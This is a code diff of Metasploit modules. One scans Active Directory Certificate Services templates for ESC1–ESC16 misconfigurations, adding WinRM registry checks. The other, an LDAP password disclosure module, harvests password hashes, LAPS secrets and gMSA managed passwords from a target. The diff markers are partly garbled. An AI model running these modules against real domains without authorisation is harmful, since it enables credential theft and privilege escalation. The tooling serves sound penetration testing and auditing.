'ESC2' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
|
||||
'ESC3' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
|
||||
'ESC4' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ],
|
||||
'ESC9' => [ SiteReference.new('URL', 'https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7') ],
|
||||
'ESC10' => [ SiteReference.new('URL', 'https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7') ],
|
||||
'ESC13' => [ SiteReference.new('URL', 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53') ],
|
||||
'ESC15' => [ SiteReference.new('URL', 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc') ]
|
||||
'ESC15' => [ SiteReference.new('URL', 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc') ],
|
||||
'ESC16' => [ SiteReference.new('URL', 'https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation') ]
|
||||
}.freeze
|
||||
|
||||
SID = Struct.new(:value, :name) do
|
||||
@@ -57,11 +69,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC4,
|
||||
ESC13, and ESC15. The module is limited to checking for these techniques due to them being identifiable
|
||||
remotely from a normal user account by analyzing the objects in LDAP.
|
||||
|
||||
The module can also check for ESC9, ESC10 and ESC16 but this requires an Administrative WinRM session to be
|
||||
established to definitively check for these techniques.
|
||||
},
|
||||
'Author' => [
|
||||
'Grant Willcox', # Original module author
|
||||
'Spencer McIntyre', # ESC13 and ESC15 updates
|
||||
'jheysel-r7' # ESC4 update
|
||||
'jheysel-r7' # ESC4, ESC9 and ESC10 update
|
||||
],
|
||||
'References' => REFERENCES.values.flatten.map { |r| [ r.ctx_id, r.ctx_val ] }.uniq,
|
||||
'DisclosureDate' => '2021-06-17',
|
||||
@@ -82,6 +97,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
OptBool.new('REPORT_NONENROLLABLE', [true, 'Report nonenrollable certificate templates', false]),
|
||||
OptBool.new('REPORT_PRIVENROLLABLE', [true, 'Report certificate templates restricted to domain and enterprise admins', false]),
|
||||
OptBool.new('RUN_REGISTRY_CHECKS', [true, 'Authenticate to WinRM to query the registry values to enhance reporting for ESC9 and ESC10. Must be a privleged user in order to query successfully', false]),
|
||||
])
|
||||
end
|
||||
|
||||
@@ -328,106 +344,207 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def find_esc4_vuln_cert_templates
|
||||
# Determine who we are authenticating with. Retrieve the username and user SID
|
||||
whoami_response = ''
|
||||
begin
|
||||
whoami_response = @ldap.ldapwhoami
|
||||
rescue Net::LDAP::Error => e
|
||||
print_warning("The module failed to run the ldapwhoami command, ESC4 detection can't continue. Error was: #{e.class}: #{e.message}.")
|
||||
return
|
||||
end
|
||||
|
||||
if whoami_response.empty?
|
||||
print_error("Unable to retrieve the username using ldapwhoami, ESC4 detection can't continue")
|
||||
return
|
||||
end
|
||||
|
||||
sam_account_name = whoami_response.split('\\')[1]
|
||||
user_raw_filter = "(sAMAccountName=#{sam_account_name})"
|
||||
attributes = ['DN', 'objectSID', 'objectClass', 'primarygroupID']
|
||||
our_account = query_ldap_server(user_raw_filter, attributes)&.first
|
||||
if our_account.nil?
|
||||
print_warning("Unable to determine the User SID for #{sam_account_name}, ESC4 detection can't continue")
|
||||
return
|
||||
end
|
||||
|
||||
user_sid = map_sids_to_names([Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first).value]).first
|
||||
domain_sid = user_sid.value.to_s.rpartition('-').first
|
||||
user_groups = []
|
||||
|
||||
if our_account[:primarygroupID]
|
||||
user_groups << "#{domain_sid}-#{our_account[:primarygroupID]&.first}"
|
||||
end
|
||||
|
||||
# Authenticated Users includes all users and computers with identities that have been authenticated.
|
||||
# Authenticated Users doesn't include Guest even if the Guest account has a password.
|
||||
unless sam_account_name == 'Guest'
|
||||
user_groups << Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID
|
||||
end
|
||||
|
||||
# Perform an LDAP query to get the groups the user is a part of
|
||||
# Use LDAP_MATCHING_RULE_IN_CHAIN OID in order to walk the chain of ancestry of groups.
|
||||
# https://learn.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax?redirectedfrom=MSDN
|
||||
filter_with_user = "(|(member:1.2.840.113556.1.4.1941:=#{our_account[:dn].first})"
|
||||
user_groups.each do |sid|
|
||||
obj = get_object_by_sid(sid)
|
||||
print_error('Failed to lookup SID.') unless obj
|
||||
|
||||
filter_with_user << "(member:1.2.840.113556.1.4.1941:=#{obj[:dn].first})" if obj
|
||||
end
|
||||
filter_with_user << ')'
|
||||
|
||||
attributes = ['cn', 'objectSID']
|
||||
esc_entries = query_ldap_server(filter_with_user, attributes)
|
||||
|
||||
esc_entries.each do |entry|
|
||||
group_sid = Rex::Proto::MsDtyp::MsDtypSid.read(entry['ObjectSid'].first).value
|
||||
user_groups << group_sid
|
||||
end
|
||||
user_groups = map_sids_to_names(user_groups)
|
||||
|
||||
# Determine what Certificate Templates are available to us
|
||||
esc_raw_filter = '(objectclass=pkicertificatetemplate)'
|
||||
|
||||
attributes = ['cn', 'description', 'ntSecurityDescriptor']
|
||||
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: CERTIFICATE_TEMPLATES_BASE)
|
||||
|
||||
return if esc_entries.empty?
|
||||
|
||||
# Determine if the user we've authenticated with has the ability to edit
|
||||
current_user = adds_get_current_user(@ldap)[:samaccountname].first
|
||||
esc_entries.each do |entry|
|
||||
certificate_symbol = entry[:cn][0].to_sym
|
||||
next if @certificate_details[certificate_symbol][:enroll_sids].empty?
|
||||
|
||||
# SIDs that can edit the template
|
||||
write_priv_sids = @certificate_details[certificate_symbol][:write_sids]
|
||||
next if write_priv_sids.empty?
|
||||
if adds_obj_grants_permissions?(@ldap, entry, SecurityDescriptorMatcher::Allow.any(%i[WP]))
|
||||
@certificate_details[certificate_symbol][:techniques] << 'ESC4'
|
||||
@certificate_details[certificate_symbol][:notes] << "ESC4: The account: #{current_user} has edit permissions over the template #{certificate_symbol}."
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Check if the user has been give access to edit the template
|
||||
user_can_edit = user_sid if write_priv_sids.include?(user_sid)
|
||||
def parse_registry_output(output, property_name)
|
||||
return nil if output.stderr.present?
|
||||
|
||||
# Check if any groups the user is a part of can edit the template
|
||||
group_can_edit = write_priv_sids & user_groups
|
||||
stdout = output.stdout if output.stdout.present?
|
||||
return nil unless stdout
|
||||
|
||||
# SIDs that can edit the template that the user we've authenticated with are also a part of
|
||||
user_write_priv_sids = []
|
||||
notes = []
|
||||
line_with_property = stdout.lines.find { |line| line.strip.match(/^#{Regexp.escape(property_name)}\s*:/) }
|
||||
return nil unless line_with_property
|
||||
|
||||
# Main reason for splitting user_can_edit and group_can_edit is so "note" can be more descriptive
|
||||
if user_can_edit
|
||||
user_write_priv_sids << user_can_edit
|
||||
notes << "ESC4: The account: #{sam_account_name} has edit permissions over the template #{certificate_symbol} making it vulnerable to ESC4"
|
||||
line_with_property.split(':', 2).last&.strip
|
||||
end
|
||||
|
||||
def run_registry_command(shell, path, property_name, dynamic_value = nil)
|
||||
full_path = dynamic_value ? "#{path}\\#{dynamic_value}" : path
|
||||
command = "Get-ItemProperty -Path '#{full_path}' -Name #{property_name}"
|
||||
output = shell.run(command)
|
||||
value = parse_registry_output(output, property_name)
|
||||
if value.nil?
|
||||
print_error("Registry property '#{property_name}' not found at path '#{full_path}'.")
|
||||
end
|
||||
value
|
||||
end
|
||||
|
||||
def enum_registry_values
|
||||
@registry_values ||= {}
|
||||
|
||||
endpoint = "http://#{datastore['RHOST']}:5985/wsman"
|
||||
domain = adds_get_domain_info(@ldap)[:dns_name]
|
||||
user = adds_get_current_user(@ldap)[:sAMAccountName].first.to_s
|
||||
pass = datastore['LDAPPassword']
|
||||
conn = WinRM::Connection.new(
|
||||
endpoint: endpoint,
|
||||
domain: domain,
|
||||
user: user,
|
||||
password: pass,
|
||||
transport: :negotiate
|
||||
)
|
||||
|
||||
begin
|
||||
conn.shell(:powershell) do |shell|
|
||||
@registry_values[:certificate_mapping_methods] = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\Schannel', 'CertificateMappingMethods').to_i
|
||||
@registry_values[:strong_certificate_binding_enforcement] = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Kdc', 'StrongCertificateBindingEnforcement').to_i
|
||||
|
||||
active_policy_name = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\*\\PolicyModules', 'Active')
|
||||
@registry_values[:disable_extension_list] = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\*\\PolicyModules', 'DisableExtensionList', active_policy_name)
|
||||
@registry_values[:edit_flags] = run_registry_command(shell, 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\*\\PolicyModules', 'EditFlags', active_policy_name).to_i
|
||||
end
|
||||
rescue StandardError => e
|
||||
vprint_warning("Failed to query registry values: #{e.message}")
|
||||
end
|
||||
|
||||
@registry_values
|
||||
end
|
||||
|
||||
def resolve_group_memberships(user_dn)
|
||||
filter = "(member:1.2.840.113556.1.4.1941:=#{ldap_escape_filter(user_dn)})"
|
||||
attributes = ['distinguishedName', 'objectSID', 'sAMAccountName']
|
||||
groups = query_ldap_server(filter, attributes)
|
||||
|
||||
groups.map do |group|
|
||||
{
|
||||
dn: group[:distinguishedname].first,
|
||||
sid: Rex::Proto::MsDtyp::MsDtypSid.read(group[:objectsid].first).value,
|
||||
name: group[:samaccountname].first
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
def fetch_group_members(group_dn)
|
||||
filter = "(distinguishedName=#{ldap_escape_filter(group_dn)})"
|
||||
attributes = ['member'] # Fetch the 'member' attribute which contains the group members
|
||||
|
||||
group_entry = query_ldap_server(filter, attributes)&.first
|
||||
return [] unless group_entry && group_entry[:member]
|
||||
|
||||
group_entry[:member]
|
||||
end
|
||||
|
||||
def find_users_with_write_and_enroll_rights(enroll_sids)
|
||||
users = []
|
||||
enroll_sids.each do |sid|
|
||||
ldap_object = adds_get_object_by_sid(@ldap, sid.value)
|
||||
if ldap_object && ldap_object[:objectclass]&.include?('user')
|
||||
if (ldap_object[:ntsecuritydescriptor]) && adds_obj_grants_permissions?(@ldap, ldap_object, SecurityDescriptorMatcher::Allow.any(%i[WP]))
|
||||
users << ldap_object[:samaccountname].first
|
||||
end
|
||||
next
|
||||
end
|
||||
|
||||
if group_can_edit.any?
|
||||
user_write_priv_sids.concat(group_can_edit)
|
||||
notes << "ESC4: The account: #{sam_account_name} is a part of the following groups: (#{group_can_edit.map(&:name).join(', ')}) which have edit permissions over the template object"
|
||||
next unless ldap_object && ldap_object[:objectclass]&.include?('group')
|
||||
|
||||
member_objects = adds_query_group_members(@ldap, ldap_object[:dn].first, object_class: 'user', inherited: true).to_a
|
||||
member_objects.each do |member_object|
|
||||
next unless member_object[:ntsecuritydescriptor]
|
||||
next if users.include?(member_object[:samaccountname].first)
|
||||
|
||||
if adds_obj_grants_permissions?(@ldap, member_object, SecurityDescriptorMatcher::Allow.any(%i[WP]))
|
||||
users << member_object[:samaccountname].first
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
users&.uniq
|
||||
end
|
||||
|
||||
def find_esc9_vuln_cert_templates
|
||||
esc9_raw_filter = '(&'\
|
||||
'(objectclass=pkicertificatetemplate)'\
|
||||
"(mspki-enrollment-flag:1.2.840.113556.1.4.803:=#{CT_FLAG_NO_SECURITY_EXTENSION})"\
|
||||
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
|
||||
'(|'\
|
||||
"(pkiextendedkeyusage=#{OIDs::OID_KP_SMARTCARD_LOGON.value})"\
|
||||
"(pkiextendedkeyusage=#{OIDs::OID_PKIX_KP_CLIENT_AUTH.value})"\
|
||||
"(pkiextendedkeyusage=#{OIDs::OID_ANY_EXTENDED_KEY_USAGE.value})"\
|
||||
'(!(pkiextendedkeyusage=*))'\
|
||||
')'\
|
||||
'(|'\
|
||||
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_UPN})"\
|
||||
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_DNS})"\
|
||||
')'\
|
||||
')'
|
||||
|
||||
esc9_templates = query_ldap_server(esc9_raw_filter, CERTIFICATE_ATTRIBUTES, base_prefix: CERTIFICATE_TEMPLATES_BASE)
|
||||
esc9_templates.each do |template|
|
||||
certificate_symbol = template[:cn][0].to_sym
|
||||
|
||||
enroll_sids = @certificate_details[certificate_symbol][:enroll_sids]
|
||||
|
||||
users = find_users_with_write_and_enroll_rights(enroll_sids)
|
||||
|
||||
next if users.empty?
|
||||
|
||||
user_plural = users.size > 1 ? 'accounts' : 'account'
|
||||
has_plural = users.size > 1 ? 'have' : 'has'
|
||||
|
||||
current_user = adds_get_current_user(@ldap)[:samaccountname].first
|
||||
|
||||
note = "ESC9: The account: #{current_user} has edit permission over the #{user_plural}: #{users.join(', ')} which #{has_plural} enrollment rights for this template."
|
||||
if @registry_values[:strong_certificate_binding_enforcement].present?
|
||||
note += " Registry value: StrongCertificateBindingEnforcement=#{@registry_values[:strong_certificate_binding_enforcement]}."
|
||||
end
|
||||
@certificate_details[certificate_symbol][:techniques] << 'ESC9'
|
||||
@certificate_details[certificate_symbol][:notes] << note
|
||||
end
|
||||
end
|
||||
|
||||
def find_esc10_vuln_cert_templates
|
||||
esc10_raw_filter = '(&'\
|
||||
'(objectclass=pkicertificatetemplate)'\
|
||||
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
|
||||
'(|'\
|
||||
"(pkiextendedkeyusage=#{OIDs::OID_KP_SMARTCARD_LOGON.value})"\
|
||||
"(pkiextendedkeyusage=#{OIDs::OID_PKIX_KP_CLIENT_AUTH.value})"\
|
||||
"(pkiextendedkeyusage=#{OIDs::OID_ANY_EXTENDED_KEY_USAGE.value})"\
|
||||
'(!(pkiextendedkeyusage=*))'\
|
||||
')'\
|
||||
'(|'\
|
||||
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_UPN})"\
|
||||
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_DNS})"\
|
||||
')'\
|
||||
')'
|
||||
|
||||
esc10_templates = query_ldap_server(esc10_raw_filter, CERTIFICATE_ATTRIBUTES, base_prefix: CERTIFICATE_TEMPLATES_BASE)
|
||||
esc10_templates.each do |template|
|
||||
certificate_symbol = template[:cn][0].to_sym
|
||||
enroll_sids = @certificate_details[certificate_symbol][:enroll_sids]
|
||||
users = find_users_with_write_and_enroll_rights(enroll_sids)
|
||||
|
||||
next if users.empty?
|
||||
|
||||
user_plural = users.size > 1 ? 'accounts' : 'account'
|
||||
has_plural = users.size > 1 ? 'have' : 'has'
|
||||
|
||||
current_user = adds_get_current_user(@ldap)[:samaccountname].first
|
||||
|
||||
note = "ESC10: The account: #{current_user} has edit permission over the #{user_plural}: #{users.join(', ')} which #{has_plural} enrollment rights for this template."
|
||||
|
||||
if @registry_values[:strong_certificate_binding_enforcement].present? && @registry_values[:certificate_mapping_methods].present?
|
||||
note += " Registry values: StrongCertificateBindingEnforcement=#{@registry_values[:strong_certificate_binding_enforcement]}, CertificateMappingMethods=#{@registry_values[:certificate_mapping_methods]}."
|
||||
end
|
||||
|
||||
next unless user_write_priv_sids.any?
|
||||
|
||||
@certificate_details[certificate_symbol][:techniques] << 'ESC4'
|
||||
@certificate_details[certificate_symbol][:notes].concat(notes)
|
||||
@certificate_details[certificate_symbol][:techniques] << 'ESC10'
|
||||
@certificate_details[certificate_symbol][:notes] << note
|
||||
end
|
||||
end
|
||||
|
||||
@@ -520,6 +637,39 @@ class MetasploitModule < Msf::Auxiliary
|
||||
query_ldap_server_certificates(esc_raw_filter, 'ESC15', notes: notes)
|
||||
end
|
||||
|
||||
def find_esc16_vuln_cert_templates
|
||||
esc16_raw_filter = '(&'\
|
||||
'(|'\
|
||||
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_UPN})"\
|
||||
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_SUBJECT_ALT_REQUIRE_DNS})"\
|
||||
"(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=#{CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME})"\
|
||||
')'\
|
||||
'(objectclass=pkicertificatetemplate)'\
|
||||
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
|
||||
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
|
||||
'(pkiextendedkeyusage=*)'\
|
||||
')'
|
||||
|
||||
esc_entries = query_ldap_server(esc16_raw_filter, CERTIFICATE_ATTRIBUTES, base_prefix: CERTIFICATE_TEMPLATES_BASE)
|
||||
return if esc_entries.empty?
|
||||
|
||||
if @registry_values[:strong_certificate_binding_enforcement] && (@registry_values[:strong_certificate_binding_enforcement] == 0 || @registry_values[:strong_certificate_binding_enforcement] == 1)
|
||||
# Scenario 1 - StrongCertificateBindingEnforcement = 1 or 0 then it's same same as ESC9 - mark them all as vulnerable
|
||||
esc_entries.each do |entry|
|
||||
certificate_symbol = entry[:cn][0].to_sym
|
||||
@certificate_details[certificate_symbol][:techniques] << 'ESC16'
|
||||
@certificate_details[certificate_symbol][:notes] << "ESC16: Template is vulnerable due StrongCertificateBindingEnforcement = #{@registry_values[:strong_certificate_binding_enforcement]} and the CA's disabled policy extension list includes: 1.3.6.1.4.1.311.25.2."
|
||||
end
|
||||
elsif @registry_values[:edit_flags] & EDITF_ATTRIBUTESUBJECTALTNAME2 != 0
|
||||
# Scenario 2 - StrongCertificateBindingEnforcement = 2 (or nil) but if EditFlags in the active policy module has EDITF_ATTRIBUTESUBJECTALTNAME2 set then ESC6 is essentially re-enabled and we mark them all as vulnerable
|
||||
esc_entries.each do |entry|
|
||||
certificate_symbol = entry[:cn][0].to_sym
|
||||
@certificate_details[certificate_symbol][:techniques] << 'ESC16'
|
||||
@certificate_details[certificate_symbol][:notes] << 'ESC16: Template is vulnerable due to the active policy EditFlags having: EDITF_ATTRIBUTESUBJECTALTNAME2 set (which is essentially ESC6) combined with the CA\'s disabled policy extension list including: 1.3.6.1.4.1.311.25.2.'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def find_enrollable_vuln_certificate_templates
|
||||
# For each of the vulnerable certificate templates, determine which servers
|
||||
# allows users to enroll in that certificate template and which users/groups
|
||||
@@ -648,7 +798,19 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status(" Distinguished Name: #{hash[:dn]}")
|
||||
print_status(" Manager Approval: #{hash[:manager_approval] ? '%redRequired' : '%grnDisabled'}%clr")
|
||||
print_status(" Required Signatures: #{hash[:required_signatures] == 0 ? '%grn0' : '%red' + hash[:required_signatures].to_s}%clr")
|
||||
print_good(" Vulnerable to: #{techniques.join(', ')}")
|
||||
|
||||
if @registry_values.present?
|
||||
print_good(" Vulnerable to: #{techniques.join(', ')}")
|
||||
else
|
||||
print_good(" Vulnerable to: #{(techniques - %w[ESC9 ESC10]).join(', ')}")
|
||||
if techniques.include?('ESC9')
|
||||
print_warning(' Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)')
|
||||
end
|
||||
if techniques.include?('ESC10')
|
||||
print_warning(' Potentially vulnerable to: ESC10 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must be set to 0 or CertificateMappingMethods must be set to 4)')
|
||||
end
|
||||
end
|
||||
|
||||
if hash[:notes].present? && hash[:notes].length == 1
|
||||
print_status(" Notes: #{hash[:notes].first}")
|
||||
elsif hash[:notes].present? && hash[:notes].length > 1
|
||||
@@ -729,7 +891,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def get_object_by_sid(object_sid)
|
||||
object_sid = Rex::Proto::MsDtyp::MsDtypSid.new(object_sid)
|
||||
object = @ldap_objects.find { |o| o['objectSID'].first == object_sid.to_binary_s }
|
||||
object = @ldap_objects.find { |o| o['objectSID']&.first == object_sid.to_binary_s }
|
||||
|
||||
if object.nil?
|
||||
object = query_ldap_server("(objectSID=#{ldap_escape_filter(object_sid.to_s)})", nil)&.first
|
||||
@@ -792,10 +954,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
ip_addresses
|
||||
end
|
||||
|
||||
def validate
|
||||
super
|
||||
if (datastore['RUN_REGISTRY_CHECKS']) && !%w[auto plaintext ntlm].include?(datastore['LDAP::Auth'].downcase)
|
||||
raise Msf::OptionValidateError, ["RUN_REGISTRY_CHECKS is incompatible with LDAP::Auth type '#{datastore['LDAP::Auth']}'. Supported types are: plaintext, NTLM."]
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# Define our instance variables real quick.
|
||||
@base_dn = nil
|
||||
@ldap_objects = []
|
||||
@registry_values = {}
|
||||
@fqdns = {}
|
||||
@certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details.
|
||||
|
||||
@@ -821,12 +991,30 @@ class MetasploitModule < Msf::Auxiliary
|
||||
@certificate_details[certificate_symbol] = build_certificate_details(template)
|
||||
end
|
||||
|
||||
registry_values = enum_registry_values if datastore['RUN_REGISTRY_CHECKS']
|
||||
|
||||
find_esc1_vuln_cert_templates
|
||||
find_esc2_vuln_cert_templates
|
||||
find_esc3_vuln_cert_templates
|
||||
find_esc4_vuln_cert_templates
|
||||
|
||||
if registry_values.blank?
|
||||
find_esc9_vuln_cert_templates
|
||||
find_esc10_vuln_cert_templates
|
||||
else
|
||||
if registry_values[:strong_certificate_binding_enforcement] != 2
|
||||
find_esc9_vuln_cert_templates
|
||||
end
|
||||
if registry_values[:strong_certificate_binding_enforcement] == 1 || registry_values[:certificate_mapping_methods] & 4 > 0
|
||||
find_esc10_vuln_cert_templates
|
||||
end
|
||||
end
|
||||
|
||||
find_esc13_vuln_cert_templates
|
||||
find_esc15_vuln_cert_templates
|
||||
if registry_values && registry_values[:disable_extension_list]&.include?('1.3.6.1.4.1.311.25.2')
|
||||
find_esc16_vuln_cert_templates
|
||||
end
|
||||
|
||||
find_enrollable_vuln_certificate_templates
|
||||
print_vulnerable_cert_info
|
||||
|
||||
@@ -11,14 +11,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::MsGkdi
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Exploit::Remote::LDAP::ActiveDirectory
|
||||
include Msf::Exploit::Remote::LDAP::Queries
|
||||
include Msf::OptionalSession::LDAP
|
||||
include Msf::Util::WindowsCryptoHelpers
|
||||
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'auxiliary/gather/ldap_hashdump'
|
||||
|
||||
LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800'.freeze
|
||||
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
|
||||
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword msds-managedpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -27,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Name' => 'LDAP Password Disclosure',
|
||||
'Description' => %q{
|
||||
This module will gather passwords and password hashes from a target LDAP server via multiple techniques
|
||||
including Windows LAPS.
|
||||
including Windows LAPS. For best results, run with SSL because some attributes are only readable over
|
||||
encrypted connections.
|
||||
},
|
||||
'Author' => [
|
||||
'Spencer McIntyre', # LAPS updates
|
||||
@@ -67,59 +70,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
defined?(:session) && session
|
||||
end
|
||||
|
||||
def get_ad_ds_domain_info(ldap)
|
||||
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
|
||||
|
||||
root_dse = ldap.search(
|
||||
ignore_server_caps: true,
|
||||
base: '',
|
||||
scope: Net::LDAP::SearchScope_BaseObject,
|
||||
attributes: %i[configurationNamingContext supportedCapabilities supportedExtension]
|
||||
)&.first
|
||||
|
||||
unless root_dse[:supportedcapabilities].map(&:to_s).include?(LDAP_CAP_ACTIVE_DIRECTORY_OID)
|
||||
print_status('The target LDAP server is not an Active Directory Domain Controller.')
|
||||
return nil
|
||||
end
|
||||
|
||||
unless root_dse[:supportedextension].include?(Net::LDAP::WhoamiOid)
|
||||
print_status('The target LDAP server is not an Active Directory Domain Controller.')
|
||||
return nil
|
||||
end
|
||||
|
||||
print_status('The target LDAP server is an Active Directory Domain Controller.')
|
||||
|
||||
unless ldap.search(base: '', filter: '(objectClass=domain)').nil?
|
||||
# this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
|
||||
# means we'll be getting information from more than one domain which breaks some core assumptions
|
||||
# see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
|
||||
fail_with(Msf::Module::Failure::NoTarget, 'The target LDAP server is a Global Catalog.')
|
||||
end
|
||||
|
||||
target_domains = ldap.search(
|
||||
base: root_dse[:configurationnamingcontext].first.to_s,
|
||||
filter: "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ldap.base_dn}))"
|
||||
)
|
||||
unless target_domains.present?
|
||||
fail_with(Msf::Module::Failure::NotFound, 'The target LDAP server did not return its NETBIOS domain name.')
|
||||
end
|
||||
|
||||
unless target_domains.length == 1
|
||||
fail_with(Msf::Module::Failure::NotFound, "The target LDAP server returned #{target_domains.length} NETBIOS domain names.")
|
||||
end
|
||||
|
||||
target_domain = target_domains.first
|
||||
|
||||
{
|
||||
netbios_name: target_domain[:netbiosname].first.to_s,
|
||||
dns_name: target_domain[:dnsroot].first.to_s
|
||||
}
|
||||
end
|
||||
|
||||
def ad_domain?
|
||||
@ad_ds_domain_info.nil?
|
||||
end
|
||||
|
||||
# PoC using ldapsearch(1):
|
||||
#
|
||||
# Retrieve root DSE with base DN:
|
||||
@@ -147,10 +97,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
vprint_status("Using the '#{datastore['USER_ATTR']}' attribute as the username")
|
||||
end
|
||||
|
||||
@ad_ds_domain_info = get_ad_ds_domain_info(ldap)
|
||||
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
|
||||
if is_active_directory?(ldap)
|
||||
print_status('The target LDAP server is an Active Directory Domain Controller.')
|
||||
@ad_ds_domain_info = adds_get_domain_info(ldap)
|
||||
else
|
||||
print_status('The target LDAP server is not an Active Directory Domain Controller.')
|
||||
@ad_ds_domain_info = nil
|
||||
end
|
||||
|
||||
print_status("Searching base DN: #{base_dn}")
|
||||
entries_returned += ldap_search(ldap, base_dn, base: base_dn)
|
||||
unless @ad_ds_domain_info.nil?
|
||||
attributes = %w[dn msDS-ManagedPassword sAMAccountName]
|
||||
attributes << datastore['USER_ATTR'] unless datastore['USER_ATTR'].blank? || attributes.include?(datastore['USER_ATTR'])
|
||||
entries_returned += ldap_search(ldap, base_dn, base: base_dn, filter: '(objectClass=msDS-GroupManagedServiceAccount)', attributes: attributes)
|
||||
end
|
||||
end
|
||||
|
||||
# Safe if server did not return anything
|
||||
@@ -180,7 +142,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
entries_returned += 1
|
||||
password_attributes.each do |attr|
|
||||
if entry[attr].any?
|
||||
creds_found += process_hash(entry, attr)
|
||||
creds_found += process_entry(entry, attr)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -226,7 +188,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
hash
|
||||
end
|
||||
|
||||
def process_hash(entry, attr)
|
||||
def process_entry(entry, attr)
|
||||
creds_found = 0
|
||||
username = [datastore['USER_ATTR'], 'sAMAccountName', 'uid', 'dn'].map { entry[_1] }.reject(&:blank?).first.first
|
||||
|
||||
@@ -267,39 +229,80 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
if attr =~ /^samba(lm|nt)password$/
|
||||
next if private_data.length != 32
|
||||
next if private_data.case_cmp?('aad3b435b51404eeaad3b435b51404ee') || private_data.case_cmp?('31d6cfe0d16ae931b73c59d7e0c089c0')
|
||||
next if private_data.case_cmp?(EMPTY_LM.unpack1('H*'))
|
||||
next if private_data.case_cmp?(EMPTY_NT.unpack1('H*'))
|
||||
end
|
||||
|
||||
# observed sambapassword history with either 56 or 64 zeros
|
||||
next if attr == 'sambapasswordhistory' && private_data =~ /^(0{64}|0{56})$/
|
||||
|
||||
jtr_format = nil
|
||||
annotation = ''
|
||||
artifacts = SecretArtifact.new(public_data: username, private_data: private_data, private_type: :password)
|
||||
|
